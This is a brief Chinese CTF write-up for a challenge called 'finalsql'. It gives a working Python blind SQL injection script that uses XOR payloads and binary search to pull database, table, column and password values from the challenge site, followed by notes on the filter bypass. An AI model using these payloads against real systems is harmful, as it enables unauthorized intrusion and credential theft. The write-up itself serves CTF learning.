finalsql

第一次写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time
flag=""
for i in range(1,280):
low = 32
high = 128
mid = (low + high) >> 1
while(high>low):
url = "http://5ab2fc5d-f744-4401-9552-f1b496e7e678.node4.buuoj.cn:81/search.php"
#payload="?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{})^1".format(i,mid)
#查库
#payload ="?id=1^(ascii(substr((select(database())),{},1))>{})^1".format(i,mid)
#查列
#payload="?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})^1".format(i,mid)
#查表
#payload="?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})^1".format(i,mid)
#查字段
payload= "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})^1".format(i,mid)
#查password
url+=payload
r = requests.get(url)
time.sleep(0.04)
#print(url)
#print(r.text)
if "Cl" in r.text:
low=mid+1
else:
high=mid
mid=(low+high)>>1
if (mid==32 or mid==128):
break
#print(chr(mid))
flag += chr (mid)
#print(mid)
#print(chr(mid))
print(flag)
print(flag)

总结步骤

  1. fuzz查过滤
  2. 考虑查注入
  3. 然后写脚本

QQ截图20211119210158.png

根据提示,尝试对?id=进行fuzz

发现空格和and和||和$$被过滤了

而^没有被过滤

尝试用1^^1

QQ截图20211119211628.png

可以利用可行的注入符合提供思路

“1^ 0 ^ 1”为假

“1 ^ 1 ^ 1”为真来嵌套语句

利用二分法来简化爆破

32是空格,ascii最多到127,所以可显字符是32到127

我们取中间数为mid为80,high为128,low为32(方便除二)

若这个要猜的值比80大,就到80到128的区间类取中值比较,以此类推,因为这个数必是整数,所以必可以找到。

QQ截图20211119212958.png

最后在一大堆password里面找到。